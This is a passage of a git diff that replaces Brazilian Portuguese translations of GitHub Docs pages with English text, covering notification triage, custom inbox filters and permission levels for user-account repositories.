                    Saved notifications are kept indefinitely and can be viewed by clicking **Saved** in the sidebar or with the `is:saved` query. If your saved notification is older than 5 months and becomes unsaved, the notification will disappear from your inbox within a day. | +| Done | Marks a notification as completed and removes the notification from your inbox. You can see all completed notifications by clicking **Done** in the sidebar or with the `is:done` query. Notifications marked as **Done** are saved for 5 months. +| Unsubscribe | Automatically removes the notification from your inbox and unsubscribes you from the conversation until you are @mentioned, a team you're on is @mentioned, or you're requested for review. +| Read | Marks a notification as read. To only view read notifications in your inbox, use the `is:read` query. This query doesn't include notifications marked as **Done**. +| Unread | Marks notification as unread. To only view unread notifications in your inbox, use the `is:unread` query. | -Para ver os atalhos de teclado disponíveis, consulte "[Atalhos de teclado](/github/getting-started-with-github/keyboard-shortcuts#notifications)". +To see the available keyboard shortcuts, see "[Keyboard Shortcuts](/github/getting-started-with-github/keyboard-shortcuts#notifications)." -Antes de escolher uma opção de triagem, primeiro você pode pré-visualizar os detalhes da sua notificação e investigar. Para obter mais informações, consulte “[Fazendo triagem de uma só notificação](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification)". +Before choosing a triage option, you can preview your notification's details first and investigate. For more information, see "[Triaging a single notification](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification)." -## Fazer triagem de várias notificações ao mesmo tempo +## Triaging multiple notifications at the same time -Para fazer triagem de várias notificações de uma só vez, selecione as notificações relevantes e use o menu suspenso {% octicon "kebab-horizontal" aria-label="The edit icon" %} para escolher uma opção de triagem. +To triage multiple notifications at once, select the relevant notifications and use the {% octicon "kebab-horizontal" aria-label="The edit icon" %} drop-down to choose a triage option. -![Menu suspenso com opções de triagem e notificações selecionadas](/assets/images/help/notifications-v2/triage-multiple-notifications-together.png) +![Drop-down menu with triage options and selected notifications](/assets/images/help/notifications-v2/triage-multiple-notifications-together.png) -## Filtros de notificação padrão +## Default notification filters -Por padrão, sua caixa de entrada tem filtros para quando você é responsável, participa de um thread, é solicitado a rever uma pull request ou quando seu nome de usuário for @mencionado diretamente ou quando uma equipe da qual você é integrante é @mencionada. +By default, your inbox has filters for when you are assigned, participating in a thread, requested to review a pull request, or when your username is @mentioned directly or a team you're a member of is @mentioned. - ![Filtros personalizados padrão](/assets/images/help/notifications-v2/default-filters.png) + ![Default custom filters](/assets/images/help/notifications-v2/default-filters.png) -## Personalizando sua caixa de entrada com filtros personalizados +## Customizing your inbox with custom filters -Você pode adicionar até 15 dos seus próprios filtros personalizados. +You can add up to 15 of your own custom filters. {% data reusables.notifications.access_notifications %} -2. Para abrir as configurações de filtro, na barra lateral esquerda, próximo de "Filtros", clique em {% octicon "gear" aria-label="The Gear icon" %}. +2. To open the filter settings, in the left sidebar, next to "Filters", click {% octicon "gear" aria-label="The Gear icon" %}. {% tip %} - **Dica:** Você pode visualizar rapidamente os resultados da caixa de entrada de um filtro, criando uma consulta na sua caixa de entrada e clicando em **Salvar**, que abre as configurações de filtro personalizado. + **Tip:** You can quickly preview a filter's inbox results by creating a query in your inbox view and clicking **Save**, which opens the custom filter settings. {% endtip %} -3. Adicione um nome para seu filtro e uma consulta de filtro. Por exemplo, para ver apenas notificações para um repositório específico, é possível criar um filtro usando a consulta `repo:octocat/open-source-project-name reason:participating`. Você também pode adicionar emojis com um teclado de emojis nativo. Para obter uma lista de consultas de pesquisa compatíveis, consulte "[Consultas suportadas para filtros personalizados](#supported-queries-for-custom-filters)". +3. Add a name for your filter and a filter query. For example, to only see notifications for a specific repository, you can create a filter using the query `repo:octocat/open-source-project-name reason:participating`. You can also add emojis with a native emoji keyboard. For a list of supported search queries, see "[Supported queries for custom filters](#supported-queries-for-custom-filters)." - ![Exemplo de filtro personalizado](/assets/images/help/notifications-v2/custom-filter-example.png) + ![Custom filter example](/assets/images/help/notifications-v2/custom-filter-example.png) -4. Clique em **Criar**. +4. Click **Create**. -## Limitações de filtro personalizadas +## Custom filter limitations -Filtros personalizados atualmente não suportam: - - Pesquisa de texto completo em sua caixa de entrada, incluindo busca de pull request ou títulos de problema. - - Distinguindo entre filtros de consulta `is:issue`, `is:pr` e `is:pull-request`. Essas consultas retornarão problemas e pull requests. - - Criando mais de 15 filtros personalizados. - - Alterando os filtros padrão ou sua ordenação. - - Pesquise a [exclusão](/github/searching-for-information-on-github/understanding-the-search-syntax#exclude-certain-results) usando `NÃO` ou `-QUALIFICADOR`. +Custom filters do not currently support: + - Full text search in your inbox, including searching for pull request or issue titles. + - Distinguishing between the `is:issue`, `is:pr`, and `is:pull-request` query filters. These queries will return both issues and pull requests. + - Creating more than 15 custom filters. + - Changing the default filters or their order. + - Search [exclusion](/github/searching-for-information-on-github/understanding-the-search-syntax#exclude-certain-results) using `NOT` or `-QUALIFIER`. -## Consultas suportadas para filtros personalizados +## Supported queries for custom filters -Estes são os tipos de filtros que você pode usar: - - Filtrar por repositório com `repo:` - - Filtrar por tipo de discussão com `is:` - - Filtrar por motivo de notificação com `reason:`{% ifversion fpt or ghec %} - - Filtrar por autor de notificação com `author:` - - Filtrar por organização com `org:`{% endif %} +These are the types of filters that you can use: + - Filter by repository with `repo:` + - Filter by discussion type with `is:` + - Filter by notification reason with `reason:`{% ifversion fpt or ghec %} + - Filter by notification author with `author:` + - Filter by organization with `org:`{% endif %} -### Consultas de `repo:` compatíveis +### Supported `repo:` queries -Para adicionar um filtro de `repo:`, você deve incluir o proprietário do repositório na consulta: `repo:owner/repository`. Um proprietário é a organização ou o usuário que possui o ativo de {% data variables.product.prodname_dotcom %} que aciona a notificação. Por exemplo, `repo:octo-org/octo-repo` irá mostrar notificações acionadas no repositório octo-repo dentro da organização octo-org. +To add a `repo:` filter, you must include the owner of the repository in the query: `repo:owner/repository`. An owner is the organization or the user who owns the {% data variables.product.prodname_dotcom %} asset that triggers the notification. For example, `repo:octo-org/octo-repo` will show notifications triggered in the octo-repo repository within the octo-org organization. -### Consultas suportadas `is:` +### Supported `is:` queries -Para filtrar notificações para uma atividade específica no {% data variables.product.product_location %}, você pode usar a consulta `is`. Por exemplo, para ver apenas atualizações de convite do repositório, use `is:repository-invitation`{% ifversion not ghae %}, e para ver apenas alertas de {% data variables.product.prodname_dependabot %}, use `is:repository-vulnerability-alert`{% endif %}. +To filter notifications for specific activity on {% data variables.product.product_location %}, you can use the `is` query. For example, to only see repository invitation updates, use `is:repository-invitation`{% ifversion not ghae %}, and to only see {% data variables.product.prodname_dependabot_alerts %}, use `is:repository-vulnerability-alert`{% endif %}. - `is:check-suite` - `is:commit` @@ -123,67 +122,67 @@ Para filtrar notificações para uma atividade específica no {% data variables. - `is:discussion`{% endif %} {% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -Para informações sobre a redução de ruído de notificações para {% data variables.product.prodname_dependabot_alerts %}, consulte "[Configurar notificações para dependências vulneráveis](/github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies)". +For information about reducing noise from notifications for {% data variables.product.prodname_dependabot_alerts %}, see "[Configuring notifications for vulnerable dependencies](/github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies)." {% endif %} -Você também pode usar a consulta `is:` para descrever como a notificação passou pela triagem. +You can also use the `is:` query to describe how the notification was triaged. - `is:saved` - `is:done` - `is:unread` - `is:read` -### Consultas suportadas `reason:` +### Supported `reason:` queries -Para filtrar notificações por motivos pelos quais recebeu uma atualização, você pode usar a consulta `reason:`. Por exemplo, para ver notificações quando você (ou uma equipe da qual você participa) é solicitado a rever uma pull request, use `reason:review-requested`. Para obter mais informações, consulte "[Sobre notificações](/github/managing-subscriptions-and-notifications-on-github/about-notifications#reasons-for-receiving-notifications)". +To filter notifications by why you've received an update, you can use the `reason:` query. For example, to see notifications when you (or a team you're on) is requested to review a pull request, use `reason:review-requested`. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#reasons-for-receiving-notifications)." -| Consulta | Descrição | -| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------- | -| `reason:assign` | Quando houver uma atualização em um problema ou numa pull request que você tenha sido designado responsável. | -| `reason:author` | Quando você abriu uma pull request ou um problema e houve uma atualização ou novo comentário. | -| `reason:comment` | Quando você comentou em um problema, numa pull request ou numa discussão em equipe. | -| `reason:participating` | Quando você tiver comentado um problema, uma pull request ou numa discussão de equipe ou tiver sido @mencionado. | -| `reason:invitation` | Quando você for convidado para uma equipe, organização ou repositório. | -| `reason:manual` | Quando você clicar em **Assinar** em um problema ou uma pull request que você ainda não estava inscrito. | -| `reason:mention` | Você foi @mencionado diretamente. | -| `reason:review-requested` | Foi solicitado que você ou uma equipe revise um um pull request.{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -| `reason:security-alert` | Quando um alerta de segurança é emitido para um repositório.{% endif %} -| `reason:state-change` | Quando o estado de uma pull request ou um problema é alterado. Por exemplo, um problema é fechado ou uma pull request é mesclada. | -| `reason:team-mention` | Quando uma equipe da qual você é integrante é @mencionada. | -| `reason:ci-activity` | Quando um repositório tem uma atualização de CI, como um novo status de execução de fluxo de trabalho. | +| Query | Description | +|-----------------|-------------| +| `reason:assign` | When there's an update on an issue or pull request you've been assigned to. +| `reason:author` | When you opened a pull request or issue and there has been an update or new comment. +| `reason:comment`| When you commented on an issue, pull request, or team discussion. +| `reason:participating` | When you have commented on an issue, pull request, or team discussion or you have been @mentioned. +| `reason:invitation` | When you're invited to a team, organization, or repository. +| `reason:manual` | When you click **Subscribe** on an issue or pull request you weren't already subscribed to. +| `reason:mention` | You were directly @mentioned. +| `reason:review-requested` | You or a team you're on have been requested to review a pull request.{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} +| `reason:security-alert` | When a security alert is issued for a repository.{% endif %} +| `reason:state-change` | When the state of a pull request or issue is changed. For example, an issue is closed or a pull request is merged. +| `reason:team-mention` | When a team you're a member of is @mentioned. +| `reason:ci-activity` | When a repository has a CI update, such as a new workflow run status. {% ifversion fpt or ghec %} -### Consultas de `author:` compatíveis +### Supported `author:` queries -Para filtrar as notificações por usuário, você pode usar a consulta de `author:`. Um autor é o autor original da corrente (problema, pull request, discussões gist, e assim por diante) referente ao qual você está sendo notificado. Por exemplo, para visualizar notificações referentes a tópicos criados pelo usuário do Octocat use `author:octocat`. +To filter notifications by user, you can use the `author:` query. An author is the original author of the thread (issue, pull request, gist, discussions, and so on) for which you are being notified. For example, to see notifications for threads created by the Octocat user, use `author:octocat`. -### Consultas `org:` compatíveis +### Supported `org:` queries -Para filtrar notificações por organização, você pode usar a consulta `org`. A organização que você precisa especificar na consulta é a organização do repositório, para a qual você está sendo notificado em {% data variables.product.prodname_dotcom %}. Esta consulta é útil se você pertencer a várias organizações e desejar ver as notificações para uma organização específica. +To filter notifications by organization, you can use the `org` query. The organization you need to specify in the query is the organization of the repository for which you are being notified on {% data variables.product.prodname_dotcom %}. This query is useful if you belong to several organizations, and want to see notifications for a specific organization. -Por exemplo, para ver notificações da organização octo-org, use `org:octo-org`. +For example, to see notifications from the octo-org organization, use `org:octo-org`. {% endif %} {% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -## Filtros personalizados de {% data variables.product.prodname_dependabot %} +## {% data variables.product.prodname_dependabot %} custom filters {% ifversion fpt or ghec or ghes > 3.2 %} -Se você usar {% data variables.product.prodname_dependabot %} para manter suas dependências atualizadas, você pode usar e salvar esses filtros personalizados: -- `is:repository_vulnerability_alert` para mostrar notificações para {% data variables.product.prodname_dependabot_alerts %}. -- `reason:security_alert` para mostrar notificações para {% data variables.product.prodname_dependabot_alerts %} e pull requests das atualizações de segurança. -- `author:app/dependabot` para mostrar as notificações geradas por {% data variables.product.prodname_dependabot %}. Isto inclui {% data variables.product.prodname_dependabot_alerts %}, pull requests para atualizações de segurança e pull requests para atualizações de versão. +If you use {% data variables.product.prodname_dependabot %} to keep your dependencies up-to-date, you can use and save these custom filters: +- `is:repository_vulnerability_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %}. +- `reason:security_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %} and security update pull requests. +- `author:app/dependabot` to show notifications generated by {% data variables.product.prodname_dependabot %}. This includes {% data variables.product.prodname_dependabot_alerts %}, security update pull requests, and version update pull requests. -Para obter mais informações sobre {% data variables.product.prodname_dependabot %}, consulte "[Sobre o gerenciamento de dependências vulneráveis](/github/managing-security-vulnerabilities/about-managing-vulnerable-dependencies)". +For more information about {% data variables.product.prodname_dependabot %}, see "[About managing vulnerable dependencies](/github/managing-security-vulnerabilities/about-managing-vulnerable-dependencies)." {% endif %} {% ifversion ghes < 3.3 or ghae-issue-4864 %} -Se você usar {% data variables.product.prodname_dependabot %} para falar sobre dependências vulneráveis, você pode usar e salvar esses filtros personalizados para mostrar notificações para {% data variables.product.prodname_dependabot_alerts %}: -- `is:repository_vulnerability_alert` +If you use {% data variables.product.prodname_dependabot %} to tell you about vulnerable dependencies, you can use and save these custom filters to show notifications for {% data variables.product.prodname_dependabot_alerts %}: +- `is:repository_vulnerability_alert` - `reason:security_alert` -Para obter mais informações sobre {% data variables.product.prodname_dependabot %}, consulte "[Sobre alertas para dependências vulneráveis](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)". +For more information about {% data variables.product.prodname_dependabot %}, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." {% endif %} {% endif %} diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md index 66dbb7098a..b13d0f4867 100644 --- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md +++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md @@ -1,6 +1,6 @@ --- -title: Níveis de permissão para um repositório de conta de usuário -intro: 'Um repositório pertencente a uma conta de usuário tem dois níveis de permissão: o proprietário do repositório e colaboradores.' +title: Permission levels for a user account repository +intro: 'A repository owned by a user account has two permission levels: the repository owner and collaborators.' redirect_from: - /articles/permission-levels-for-a-user-account-repository - /github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository @@ -12,84 +12,80 @@ versions: ghec: '*' topics: - Accounts -shortTitle: Repositórios de usuário de permissão +shortTitle: Permission user repositories --- +## About permissions levels for a user account repository -## Sobre os níveis de permissões para um repositório de conta de usuário +Repositories owned by user accounts have one owner. Ownership permissions can't be shared with another user account. -Repositórios pertencentes a contas de usuário têm um proprietário. As permissões de propriedade não podem ser compartilhadas com outra conta de usuário. - -Você também pode {% ifversion fpt or ghec %}convidar{% else %}add{% endif %} usuários em {% data variables.product.product_name %} para o seu repositório como colaboradores. Para obter mais informações, consulte "[Convidar colaboradores para um repositório pessoal](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)". +You can also {% ifversion fpt or ghec %}invite{% else %}add{% endif %} users on {% data variables.product.product_name %} to your repository as collaborators. For more information, see "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)." {% tip %} -**Dica:** Se você precisar de mais acesso granular a um repositório pertencente à sua conta de usuário, considere transferir o repositório para uma organização. Para obter mais informações, consulte "[Transferir um repositório](/github/administering-a-repository/transferring-a-repository#transferring-a-repository-owned-by-your-user-account)". +**Tip:** If you require more granular access to a repository owned by your user account, consider transferring the repository to an organization. For more information, see "[Transferring a repository](/github/administering-a-repository/transferring-a-repository#transferring-a-repository-owned-by-your-user-account)." {% endtip %} -## Acesso de proprietário para um repositório de propriedade de uma conta de usuário +## Owner access for a repository owned by a user account -O proprietário do repositório tem controle total do repositório. Além das ações que qualquer colaborador pode executar, o proprietário do repositório pode executar as ações a seguir. +The repository owner has full control of the repository. In addition to the actions that any collaborator can perform, the repository owner can perform the following actions. -| Ação | Mais informações | -|:---------------------------------------------------------------------------------------------------------------------------------------------------------------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| {% ifversion fpt or ghec %}Convidar colaboradores{% else %}Adicionar colaboradores{% endif %} | | -| "[Convidar colaboradores para um repositório pessoal](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)" | | -| Alterar a visibilidade do repositório | "[Configurar a visibilidade do repositório](/github/administering-a-repository/setting-repository-visibility)" {% ifversion fpt or ghec %} -| Limitar interações com o repositório | "[Limitar as interações no seu repositório](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)".|{% endif %}{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -| Renomear um branch, incluindo o branch padrão | "[Renomear um branch](/github/administering-a-repository/renaming-a-branch)" ➲{% endif %} -| Fazer merge de uma pull request em um branch protegido, mesmo sem revisões de aprovação | "[Sobre branches protegidos](/github/administering-a-repository/about-protected-branches)" | -| Excluir o repositório | "[Excluir um repositório](/github/administering-a-repository/deleting-a-repository)" | -| Gerenciar tópicos do repositório | "[Classificar seu repositório com tópicos](/github/administering-a-repository/classifying-your-repository-with-topics)" {% ifversion fpt or ghec %} -| Gerenciar configurações de segurança e análise para o repositório | "[Gerenciar as configurações de segurança e análise do repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" |{% endif %}{% ifversion fpt or ghec %} -| Habilitar o gráfico de dependências para um repositório privado | "[Explorar as dependências de um repositório](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)" |{% endif %}{% ifversion fpt or ghes > 3.0 or ghec %} -| Excluir e restaurar pacotes | "[Excluir e restaurar um pacote](/packages/learn-github-packages/deleting-and-restoring-a-package)"|{% endif %}{% ifversion ghes = 3.0 or ghae %} -| Excluir pacotes | "[Excluir pacotes](/packages/learn-github-packages/deleting-a-package)" -{% endif %} -| Personalizar a visualização das mídias sociais do repositório | "[Personalizar a visualização das mídias sociais do seu repositório](/github/administering-a-repository/customizing-your-repositorys-social-media-preview)" | -| Criar um modelo a partir do repositório | "[Criando um repositório de modelo](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)"{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -| Controle o acesso aos alertas de {% data variables.product.prodname_dependabot_alerts %} para dependências vulneráveis | "[Gerenciar as configurações de segurança e análise do repositório](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" |{% endif %}{% ifversion fpt or ghec %} -| Ignorar {% data variables.product.prodname_dependabot_alerts %} no repositório | "[Visualizar e atualizar dependências vulneráveis no seu repositório](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)" | -| Gerenciar o uso de dados para um repositório privado | "[Gerenciar as configurações de uso de dados para o seu repositório privado](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)" -{% endif %} -| Definir os proprietários do código do repositório | "[Sobre proprietários do código](/github/creating-cloning-and-archiving-repositories/about-code-owners)" | -| Arquivar o repositório | "[Arquivar repositórios](/repositories/archiving-a-github-repository/archiving-repositories)" |{% ifversion fpt or ghec %} -| Criar consultorias de segurança | "[Sobre {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)" | -| Exibir um botão de patrocinador | "[Exibir um botão de patrocinador no repositório](/github/administering-a-repository/displaying-a-sponsor-button-in-your-repository)" |{% endif %}{% ifversion fpt or ghae or ghes > 3.0 or ghec %} -| Permitir ou negar merge automático para pull requests | "[Gerenciar merge automático para pull requests no seu repositório](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)", {% endif %} +| Action | More information | +| :- | :- | +| {% ifversion fpt or ghec %}Invite collaborators{% else %}Add collaborators{% endif %} | "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository)" | +| Change the visibility of the repository | "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)" |{% ifversion fpt or ghec %} +| Limit interactions with the repository | "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)" |{% endif %}{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +| Rename a branch, including the default branch | "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)" |{% endif %} +| Merge a pull request on a protected branch, even if there are no approving reviews | "[About protected branches](/github/administering-a-repository/about-protected-branches)" | +| Delete the repository | "[Deleting a repository](/github/administering-a-repository/deleting-a-repository)" | +| Manage the repository's topics | "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)" |{% ifversion fpt or ghec %} +| Manage security and analysis settings for the repository | "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" |{% endif %}{% ifversion fpt or ghec %} +| Enable the dependency graph for a private repository | "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)" |{% endif %}{% ifversion fpt or ghes > 3.0 or ghec %} +| Delete and restore packages | "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" |{% endif %}{% ifversion ghes = 3.0 or ghae %} +| Delete packages | "[Deleting packages](/packages/learn-github-packages/deleting-a-package)" |{% endif %} +| Customize the repository's social media preview | "[Customizing your repository's social media preview](/github/administering-a-repository/customizing-your-repositorys-social-media-preview)" | +| Create a template from the repository | "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)" |{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} +| Control access to {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies | "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" |{% endif %}{% ifversion fpt or ghec %} +| Dismiss {% data variables.product.prodname_dependabot_alerts %} in the repository | "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)" | +| Manage data use for a private repository | "[Managing data use settings for your private repository](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)"|{% endif %} +| Define code owners for the repository | "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)" | +| Archive the repository | "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)" |{% ifversion fpt or ghec %} +| Create security advisories | "[About {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)" | +| Display a sponsor button | "[Displaying a sponsor button in your repository](/github/administering-a-repository/displaying-a-sponsor-button-in-your-repository)" |{% endif %}{% ifversion fpt or ghae or ghes > 3.0 or ghec %} +| Allow or disallow auto-merge for pull requests | "[Managing auto-merge for pull requests in your repository](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)" | {% endif %} -## Acesso de colaborador para um repositório pertencente a uma conta de usuário +## Collaborator access for a repository owned by a user account -Os colaboradores em um repositório pessoal podem extrair (ler) os conteúdos do repositório e fazer push (gravação) das alterações no repositório. +Collaborators on a personal repository can pull (read) the contents of the repository and push (write) changes to the repository. {% note %} -**Observação:** Em um repositório privado, proprietários de repositórios podem conceder somente acesso de gravação aos colaboradores. Os colaboradores não podem ter acesso somente leitura a repositórios pertencentes a uma conta de usuário. +**Note:** In a private repository, repository owners can only grant write access to collaborators. Collaborators can't have read-only access to repositories owned by a user account. {% endnote %} -Os colaboradores também podem executar as seguintes ações. +Collaborators can also perform the following actions. -| Ação | Mais informações | -|:---------------------------------------------------------------------------------------- |:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Bifurcar o repositório | "[Sobre bifurcações](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" |{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -| Renomear um branch diferente do branch padrão | "[Renomear um branch](/github/administering-a-repository/renaming-a-branch)" ➲{% endif %} -| Criar, editar e excluir comentários em commits, pull requests e problemas no repositório |
                    • "[Sobre problemas](/github/managing-your-work-on-github/about-issues)"
                    • "[Comentando em um pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)"
                    • "[Gerenciar comentários disruptivos](/communities/moderating-comments-and-conversations/managing-disruptive-comments)"
                    | -| Criar, atribuir, fechar e reabrir problemas no repositório | "[Gerenciar o seu trabalho com problemas](/github/managing-your-work-on-github/managing-your-work-with-issues)" | -| Gerenciar etiquetas para problemas e pull requests no repositório | "[Etiquetar problemas e pull requests](/github/managing-your-work-on-github/labeling-issues-and-pull-requests)" | -| Gerenciar marcos para problemas e pull requests no repositório | "[Criar e editar marcos para problemas e pull requests](/github/managing-your-work-on-github/creating-and-editing-milestones-for-issues-and-pull-requests)" | -| Marcar um problema ou pull request no repositório como duplicado | "[Sobre problemas e pull requests duplicados](/github/managing-your-work-on-github/about-duplicate-issues-and-pull-requests)" | -| Criar, mesclar e fechar pull requests no repositório | "[Propor alterações no seu trabalho com pull requests](/github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests)" |{% ifversion fpt or ghae or ghes > 3.0 or ghec %} -| Habilitar e desabilitar o merge automático para um pull request | "[Fundir automaticamente um pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)"{% endif %} -| Aplicar alterações sugeridas aos pull requests no repositório | "[Incorporar feedback no seu pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)" | -| Criar um pull request a partir de uma bifurcação do repositório | "[Criar uma pull request de uma bifurcação](/github/collaborating-with-issues-and-pull-requests/creating-a-pull-request-from-a-fork)" | -| Enviar uma revisão em um pull request que afeta a capacidade de merge do pull request | "[Revisando alterações propostas em uma pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)" | -| Criar e editar uma wiki para o repositório | "[Sobre wikis](/communities/documenting-your-project-with-wikis/about-wikis)" | -| Criar e editar versões para o repositório | "[Gerenciar versões em um repositório](/github/administering-a-repository/managing-releases-in-a-repository)" | -| Agir como proprietário do código para o repositório | "[Sobre os proprietários do código](/articles/about-code-owners)" |{% ifversion fpt or ghae or ghec %} -| Publicar, visualizar ou instalar pacotes | "[Publicar e gerenciar pacotes](/github/managing-packages-with-github-packages/publishing-and-managing-packages)",{% endif %} -| Remover a si mesmos como colaboradores do repositório | "[Remover a si mesmo de um repositório de colaborador](/github/setting-up-and-managing-your-github-user-account/removing-yourself-from-a-collaborators-repository)" | +| Action | More information | +| :- | :- | +| Fork the repository | "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" |{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| Rename a branch other than the default branch | "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)" |{% endif %} +| Create, edit, and delete comments on commits, pull requests, and issues in the repository |
                    • "[About issues](/github/managing-your-work-on-github/about-issues)"
                    • "[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)"
                    • "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments)"
                    | +| Create, assign, close, and re-open issues in the repository | "[Managing your work with issues](/github/managing-your-work-on-github/managing-your-work-with-issues)" | +| Manage labels for issues and pull requests in the repository | "[Labeling issues and pull requests](/github/managing-your-work-on-github/labeling-issues-and-pull-requests)" | +| Manage milestones for issues and pull requests in the repository | "[Creating and editing milestones for issues and pull requests](/github/managing-your-work-on-github/creating-and-editing-milestones-for-issues-and-pull-requests)" | +| Mark an issue or pull request in the repository as a duplicate | "[About duplicate issues and pull requests](/github/managing-your-work-on-github/about-duplicate-issues-and-pull-requests)" | +| Create, merge, and close pull requests in the repository | "[Proposing changes to your work with pull requests](/github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests)" |{% ifversion fpt or ghae or ghes > 3.0 or ghec %} +| Enable and disable auto-merge for a pull request | "[Automatically merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)"{% endif %} +| Apply suggested changes to pull requests in the repository |"[Incorporating feedback in your pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)" | +| Create a pull request from a fork of the repository | "[Creating a pull request from a fork](/github/collaborating-with-issues-and-pull-requests/creating-a-pull-request-from-a-fork)" | +| Submit a review on a pull request that affects the mergeability of the pull request | "[Reviewing proposed changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)" | +| Create and edit a wiki for the repository | "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)" | +| Create and edit releases for the repository | "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository)" | +| Act as a code owner for the repository | "[About code owners](/articles/about-code-owners)" |{% ifversion fpt or ghae or ghec %} +| Publish, view, or install packages | "[Publishing and managing packages](/github/managing-packages-with-github-packages/publishing-and-managing-packages)" |{% endif %} +| Remove themselves as collaborators on the repository | "[Removing yourself from a collaborator's repository](/github/setting-up-and-managing-your-github-user-account/removing-yourself-from-a-collaborators-repository)" | -## Leia mais +## Further reading - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" diff --git a/translations/pt-BR/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md 